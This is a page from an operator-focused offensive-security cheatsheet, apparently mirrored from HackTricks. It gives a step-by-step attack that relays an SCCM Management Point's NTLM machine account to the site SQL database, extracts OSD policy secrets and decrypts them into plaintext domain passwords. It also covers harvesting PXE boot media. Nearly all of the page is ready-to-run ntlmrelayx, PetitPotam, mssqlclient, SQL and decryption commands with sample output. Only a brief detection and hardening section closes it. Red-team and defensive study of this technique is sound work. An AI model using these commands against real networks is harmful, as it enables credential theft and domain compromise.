daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

sccm-management-point-relay-sql-policy-secrets.md (8496B)


      1 ---
      2 title: "SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction
     14 
     15 ## TL;DR
     16 By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights.  These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.).  The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets.<sup>[[2]](#references)</sup>
     17 
     18 High-level chain:
     19 1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
     20 2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
     21 3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc.
     22 4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account.
     23 5. Execute:
     24    * `use CM_<SiteCode>`
     25    * `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
     26    * `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'`   (or `MP_GetPolicyBodyAfterAuthorization`)
     27 6. Strip `0xFFFE` BOM, `xxd -r -p` → XML  → `python3 pxethief.py 7 <hex>`.
     28 
     29 Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients.<sup>[[1]](#references)[[3]](#references)</sup>
     30 
     31 ---
     32 
     33 ## 1. Enumerating unauthenticated MP endpoints
     34 The MP ISAPI extension **GetAuth.dll** exposes several parameters that don’t require authentication (unless the site is PKI-only):<sup>[[1]](#references)</sup>
     35 
     36 | Parameter | Purpose |
     37 |-----------|---------|
     38 | `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. |
     39 | `MPLIST` | Lists every Management-Point in the site. |
     40 | `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). |
     41 
     42 Grab the GUIDs that will act as the **clientID** for later DB queries:
     43 ```bash
     44 curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
     45 ```
     46 
     47 ---
     48 
     49 ## 2. Relay the MP machine account to MSSQL
     50 ```bash
     51 # 1. Start the relay listener (SMB→TDS)                              
     52 ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
     53 
     54 # 2. Trigger authentication from the MP (PetitPotam example)
     55 python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
     56        -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
     57 ```
     58 When the coercion fires you should see something like:
     59 ```text
     60 [*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
     61 [*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
     62 ```
     63 
     64 ---
     65 
     66 ## 3. Identify OSD policies via stored procedures
     67 Connect through the SOCKS proxy (port 1080 by default):<sup>[[1]](#references)</sup>
     68 ```bash
     69 proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
     70 ```
     71 Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`).
     72 
     73 ### 3.1  Find Unknown-Computer GUIDs (optional)
     74 ```sql
     75 USE CM_001;
     76 SELECT SMS_Unique_Identifier0
     77 FROM dbo.UnknownSystem_DISC
     78 WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
     79 ```
     80 
     81 ### 3.2  List assigned policies
     82 ```sql
     83 EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
     84 ```
     85 Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`.
     86 
     87 Focus on policies:
     88 * **NAAConfig**  – Network Access Account creds
     89 * **TS_Sequence** – Task Sequence variables (OSDJoinAccount/Password)
     90 * **CollectionSettings** – Can contain run-as accounts
     91 
     92 ### 3.3  Retrieve full body
     93 If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using:
     94 ```sql
     95 EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
     96 ```
     97 > IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.
     98 
     99 ---
    100 
    101 ## 4. Decode & decrypt the blob
    102 ```bash
    103 # Remove the UTF-16 BOM, convert from hex → XML
    104 echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
    105 
    106 # Decrypt with PXEthief (7 = decrypt attribute value)
    107 python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
    108 ```
    109 Recovered secrets example:
    110 ```text
    111 OSDJoinAccount : CONTOSO\\joiner
    112 OSDJoinPassword: SuperSecret2025!
    113 NetworkAccessUsername: CONTOSO\\SCCM_NAA
    114 NetworkAccessPassword: P4ssw0rd123
    115 ```
    116 
    117 ---
    118 
    119 ## 5. Relevant SQL roles & procedures
    120 Upon relay the login is mapped to:<sup>[[1]](#references)</sup>
    121 * `smsdbrole_MP`
    122 * `smsdbrole_MPUserSvc`
    123 
    124 These roles expose dozens of EXEC permissions, the key ones used in this attack are:
    125 
    126 | Stored Procedure | Purpose |
    127 |------------------|---------|
    128 | `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. |
    129 | `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. |
    130 | `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. |
    131 
    132 You can inspect the full list with:
    133 ```sql
    134 SELECT pr.name
    135 FROM   sys.database_principals AS dp
    136 JOIN   sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
    137 JOIN   sys.objects AS pr ON pr.object_id = pe.major_id
    138 WHERE  dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
    139   AND  pe.permission_name='EXECUTE';
    140 ```
    141 
    142 ---
    143 
    144 ## 6. PXE boot media harvesting (SharpPXE)
    145 * **PXE reply over UDP/4011**: send a PXE boot request to a Distribution Point configured for PXE. The proxyDHCP response reveals boot paths such as `SMSBoot\\x64\\pxe\\variables.dat` (encrypted config) and `SMSBoot\\x64\\pxe\\boot.bcd`, plus an optional encrypted key blob.<sup>[[4]](#references)</sup>
    146 * **Retrieve boot artifacts via TFTP**: use the returned paths to download `variables.dat` over TFTP (unauthenticated). The file is small (a few KB) and contains the encrypted media variables.
    147 * **Decrypt or crack**:
    148   - If the response includes the decryption key, feed it to **SharpPXE** to decrypt `variables.dat` directly.
    149   - If no key is provided (PXE media protected by a custom password), SharpPXE emits a **Hashcat-compatible** `$sccm$aes128$...` hash for offline cracking. After recovering the password, decrypt the file.
    150 * **Parse decrypted XML**: plaintext variables contain SCCM deployment metadata (**Management Point URL**, **Site Code**, media GUIDs, and other identifiers). SharpPXE parses them and prints a ready-to-run **SharpSCCM** command with GUID/PFX/site parameters prefilled for follow-on abuse.
    151 * **Requirements**: only network reachability to the PXE listener (UDP/4011) and TFTP; no local admin privileges are needed.
    152 
    153 ---
    154 
    155 ## 7. Detection & Hardening
    156 1. **Monitor MP logins** – any MP computer account logging in from an IP that isn’t its host ≈ relay.<sup>[[1]](#references)</sup>
    157 2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`).
    158 3. Disable unused NTLM, enforce SMB signing, restrict RPC (
    159    same mitigations used against `PetitPotam`/`PrinterBug`).
    160 4. Harden MP ↔ DB communication with IPSec / mutual-TLS.
    161 5. **Constrain PXE exposure** – firewall UDP/4011 and TFTP to trusted VLANs, require PXE passwords, and alert on TFTP downloads of `SMSBoot\\*\\pxe\\variables.dat`.<sup>[[4]](#references)</sup>
    162 
    163 ---
    164 
    165 ## See also
    166 * NTLM relay fundamentals:
    167   
    168 [Readme](/hacktricks/windows-hardening/ntlm/overview)
    169 
    170 * MSSQL abuse & post-exploitation:
    171   
    172 [Abusing Ad Mssql](/hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql)
    173 
    174 ## References
    175 - [1] [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
    176 - [2] [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
    177 - [3] [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
    178 - [4] [SharpPXE](https://github.com/leftp/SharpPXE)